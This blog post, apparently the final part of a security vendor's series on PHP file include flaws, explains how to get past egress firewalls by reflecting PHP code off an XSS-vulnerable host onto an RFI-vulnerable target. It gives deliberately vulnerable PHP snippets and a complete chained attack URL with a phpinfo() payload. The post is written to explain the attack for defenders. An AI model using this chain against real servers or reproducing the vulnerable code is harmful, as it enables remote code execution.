Last week I talked about some different strategies for preventing PHP RFI attacks. I also mentioned that proper egress filters are all but foolproof for preventing such attacks. Well today we are going to learn that is not entirely true. There is a trick for completely bypassing egress filters called XSS reflection. And today we'll spend our time learning how this technique works.
In a standard PHP RFI Attack, the attacker will send a link to some malicious PHP code somewhere out on the internet. But, in cases where the target has proper egress filtering in place, the target's firewall will block such requests, rendering these attacks harmless.
However, if an attacker can find a XSS
vulnerability in any site behind the same firewall as the target, he can avoid
the firewall by reflecting malicious PHP code off this XSS vulnerability
and back onto the target.
This may seem complicated but it is actually quite simple. Take the following two pieces of PHP code. the first is vulnerable to a PHP RFI, the second is vulnerable to XSS.
vuln_include.php (this is vulnerable to a PHP RFI see part 1 for more information)
<?php include($vuln); ?>
vuln_xss.php (this code simply takes a string from the URI injectable parameter and prints it)
<?php print($injectable); ?>
The trick here is to build a link to vuln_xss.php that will echo back our malicious PHP code. For instance, take the following link: 'http://host2/vuln_xss.php?injectable=<? echo phpinfo(); ?>' when we visit this link. "<? echo phpinfo(); ?>" will be printed back to us.
Now that we have a link to host2 that will echo back some PHP code.
We need to put this entire link into a PHP RFI against our target (host1). In
this case, host1 contains an RFI vulnerability in the 'vuln' parameter, so we
are going to embed the XSS link to host2 inside this parameter. Here is our final attack link: 'http://host1/vuln_include.php?vuln_param=http://host2/vuln_xss.php?injectable=<?php
echo phpinfo(); ?>'
So, lets go back to our trusty diagram for a
moment:
.------------.
.----------. Stage 1: | | Stage 1: .----------.
| | -------->------> | | ----------> | PHP File |
| Attacker | | | | Include |
| | Stage 4: | | Stage 4: | Target |
.----------. <-------<------- | | <---------- | 'host1' |
| Intrusion | .----------.
| Prevention | | /\
| System | | |
| and/or | Stage 2: | | Stage 3:
| Firewall | | |
| | | |
| | \/ |
| | .---------.
| | | XSS |
| | | Target |
| | | 'host2' |
.------------. .---------.
Stage 1: This is the same as stage 1 of a normal PHP file include attack. When PHP receives something that looks like a URI in a vulnerable parameter, it blindly follows this link and executes whatever comes back. Usually, the URI provided by the attacker is a link to some code out on the internet, in this case, the link is to a site nearby the victim. 'http://host1/vuln_include.php?vuln_param=http://host2/vuln_xss.php?injectable=<?php
echo phpinfo(); ?>'
Stage 2: In stage two, host1 makes a request to
the link provided by the attacker. 'http://host2/vuln_xss.php?injectable=<?php echo phpinfo();
?>'. In this case, the link contains a cross site
scripting attack against host2 (which is on the same side of the firewall as host1.)
Stage 3: Since host2 is vulnerable to cross site
scripting. The PHP code provided in the in the 'injectable' parameter '<?php echo phpinfo();
?>' is
reflected back to host1.
Stage 4: Host1 one takes the code reflected back by
host2 '<?php echo phpinfo();
?>' and executes it. In this case, the results of phpinfo() are sent back to the attacker.
And that’s it. Easy huh? Before you get too excited about this, I should mention that there are some limitations to this technique:
- For this to work, the attacker must find a site that is vulnerable to XSS on or near his/her target. If such a site does not exist, this technique simply won't work. However, given that the target application in question is vulnerable to a file include attack, it is not a stretch to imagine that there is at least 1 page vulnerable to XSS somewhere in the target DMZ.
- Typically, web servers limit the URI to ~2 kilobytes. This means the PHP code you are attempting to execute on host1 must be less than this upper limit.
Even with these limitations, this does offer the possibility of bypassing some security protection measures (namely egress firewall rules) that would otherwise have rendered this attack impossible. Since there are some sites that rely entirely on egress filters to offer protection against RFIs. This offers attackers a way into the server that they did not previously have.
And that is it for my four part series on PHP File Include Vulnerabilities. At TippingPoint, we see tens of thousands of attack attempts against these vulnerabilities every day. So hopefully this series has helped shed some light on how these vulnerabilities work, how attackers are using them, and most importantly, what people can do to protect against them.
